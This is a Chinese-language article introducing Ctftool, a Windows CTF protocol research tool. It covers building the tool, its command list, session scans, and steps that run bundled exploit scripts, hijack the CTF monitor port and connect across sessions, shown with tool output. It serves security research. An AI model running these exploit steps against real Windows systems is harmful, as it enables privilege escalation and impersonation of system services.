Ctftool：交互式命令行工具，对CTF进行安全测试

  Ctftool是一个交互式命令行工具，可帮助安全研究人员执行CTF的安全测试。轻松分析在Windows内部运行和调试文本输入处理器以及检测目标Windows系统的安全性的复杂问题。

 Ctftool还允许研究人员编写简单的脚本来自动与CTF客户端或服务器进行交互，并根据其需求执行简单的模糊测试任务。

  工具下载

  研究人员可以使用以下命令在本地克隆项目源代码：

  git clone https://github.com/taviso/ctftool.git

  项目建设

  注意：如果您不想自己构建项目源代码，则可以直接访问项目的“Release”页面以下载编译的版本。

  我们使用GNU make和Visual Studio 2019开发Ctftool。当前，该项目仅支持32位版本，但该工具支持在Windows x86和x64平台上运行。

  安装所有相关组件之后，直接在开发人员的命令行终端中输入“ make”命令以完成项目构建。

  在这里，我使用的构建工具是Visual Studio的变体。构建时，我只选择了MSVC，MSBuild，CMake和SDK。

  该项目使用子模块来处理一些依赖项。您可以使用以下命令来获取所需的依赖关系代码：

  git submodule update --init --recursive

  工具使用

  Ctftool已在Windows 7，Windows 8和Windows 10上进行了测试，并支持32位和64位版本。

  参与者可以使用“ help”命令查看该工具支持的命令列表，或者输入“ help <command>”以查看特定命令的使用方式：

$ ./ctftool.exe An interactive ctf exploration tool by @taviso. Type "help" for available commands. Most commands require a connection, see "help connect". ctf> help Type `help <command>` for help with a specific command. Any line beginning with # is considered a comment.help            - List available commands. exit            - Exit the shell. connect         - Connect to CTF ALPC Port. info            - Query server informaiton. scan            - Enumerate connected clients. callstub        - Ask a client to invoke a function. createstub      - Ask a client to instantiate CLSID. hijack          - Attempt to hijack an ALPC server path. sendinput       - Send keystrokes to thread. setarg          - Marshal a parameter. getarg          - Unmarshal a parameter. wait            - Wait for a process and set it as the default thread. thread          - Set the default thread. sleep           - Sleep for specified milliseconds. forget          - Forget all known stubs. stack           - Print the last leaked stack ptr. marshal         - Send command with marshalled parameters. proxy           - Send command with proxy parameters. call            - Send command without appended data.window          - Create and register a message window. patch           - Patch a marshalled parameter.module          - Print the base address of a module. module64        - Print the base address of a 64bit module. editarg         - Change the type of a marshalled parameter. symbol          - Lookup a symbol offset from ImageBase. set             - Change or dump various ctftool parameters. show            - Show the value of special variables you can use. lock            - Lock the workstation, switch to Winlogon desktop. repeat          - Repeat a command multiple times. run             - Run a command. script          - Source a script file.print           - Print a string. consent         - Invoke the UAC consent dialog. reg             - Lookup a DWORD in the registry. gadget          - Find the offset of a pattern in a file. section         - Lookup property of PE section. Most commands require a connection, see "help connect". ctf>

 获得该工具后，我们要做的第一件事是建立会话链接并查看连接的客户端：

ctf> connect The ctf server port is located at \BaseNamedObjects\msctf.serverDefault1NtAlpcConnectPort("\BaseNamedObjects\msctf.serverDefault1") => 0Connected to CTF server@\BaseNamedObjects\msctf.serverDefault1, Handle 00000264ctf> scan Client 0, Tid 3400 (Flags 0x08, Hwnd 00000D48, Pid 8696, explorer.exe) Client 1, Tid 7692 (Flags 0x08, Hwnd 00001E0C, Pid 8696, explorer.exe) Client 2, Tid 9424 (Flags 0x0c, Hwnd 000024D0, Pid 9344, SearchUI.exe) Client 3, Tid 12068 (Flags 0x08, Hwnd 00002F24, Pid 12156, PROCEXP64.exe) Client 4, Tid 9740 (Flags 0000, Hwnd 0000260C, Pid 3840, ctfmon.exe)

 接下来，我们可以通过向服务器发送或接收命令来测试连接的客户端。

  利用

  该工具可用于扫描和查找CTF协议中的许多严重安全问题。如果要在Windows 10 x64 1903上运行该工具并测试漏洞，可以直接双击ctftool.exe并运行以下命令：

An interactive ctf exploration tool by @taviso. Type "help" for available commands. Most commands require a connection, see "help connect". ctf> script .\scripts\ctf-consent-system.ctf

 实际上，利用代码在两个阶段中运行，因此我们也可以分别执行这两个阶段。例如，您可能想在不同的会话中入侵该进程以属于同一用户，则可以使用connect命令的可选参数。

  接下来，您可以建立一个会话链接，选择一个要被入侵的客户端，然后运行以下命令：

ctf> script .\scripts\ctf-exploit-common-win10.ctf

监控劫持

  由于在CTF协议中客户端与服务器之间不需要身份验证，因此，如果攻击者有权写入\ BaseNamedObjects，则他可以创建CTF ALPC端口并伪装成监视器。

  此时，攻击者将能够绕过监视器和所有限制来执行任何操作。

  使用“ hijack”命令可以实现：

An interactive ctf exploration tool by @taviso. Type "help" for available commands. ctf> hijack Default 1NtAlpcCreatePort("\BaseNamedObjects\msctf.serverDefault1") => 0 00000218NtAlpcSendWaitReceivePort("\BaseNamedObjects\msctf.serverDefault1") => 0 00000218000000: 18 00 30 00 0a 20 00 00 00 11 00 00 44 11 00 00  ..0.. ......D...000010: a4 86 00 00 b7 66 b8 00 00 11 00 00 44 11 00 00  .....f......D...000020: e7 12 01 00 0c 00 00 00 80 01 02 00 20 10 d6 05  ............ ... A a message received        ProcessID: 4352, SearchUI.exe        ThreadId: 4420        WindowID: 00020180NtAlpcSendWaitReceivePort("\BaseNamedObjects\msctf.serverDefault1") => 0 00000218000000: 18 00 30 00 0a 20 00 00 ac 0f 00 00 0c 03 00 00  ..0.. ..........000010: ec 79 00 00 fa 66 b8 00 ac 0f 00 00 0c 03 00 00  .y...f..........000020: 12 04 01 00 08 00 00 00 10 01 01 00 00 00 00 00  ................ A a message received        ProcessID: 4012, explorer.exe        ThreadId: 780        WindowID: 00010110NtAlpcSendWaitReceivePort("\BaseNamedObjects\msctf.serverDefault1") => 0 00000218000000: 18 00 30 00 0a 20 00 00 ac 0f 00 00 0c 03 00 00  ..0.. ..........000010: fc 8a 00 00 2a 67 b8 00 ac 0f 00 00 0c 03 00 00  ....*g..........000020: 12 04 01 00 08 00 00 00 10 01 01 00 58 00 00 00  ............X... A a message received        ProcessID: 4012, explorer.exe        ThreadId: 780...

跨会话攻击

  在CTF协议中，没有会话隔离，任何进程都可以连接到任何CTF服务器。Ctftool中的“connect”命令支持连接到非默认会话：

An interactive ctf exploration tool by @taviso. Type "help" for available commands. Most commands require a connection, see "help connect". ctf> help connectConnect to CTF ALPC Port. Usage: connect [DESKTOPNAME SESSIONID] Without any parameters, connect to the ctf monitor for the current desktop and session. All subsequent commands will use this connectionfor communicating with the ctf monitor. If a connection is already open, the existing connection is closed first. If DESKTOPNAME and SESSIONID are specified, a connection to ctf monitorfor another desktop and session are opened, if it exists. If the specified port does not exist, wait until it does exist. This is so that you can wait for a session that hasn't started yet in a script. Examples Connect to the monitor for current desktop  ctf> connect Connect to a specific desktop and session.  ctf> connect Default 1 Most commands require a connection, see "help connect".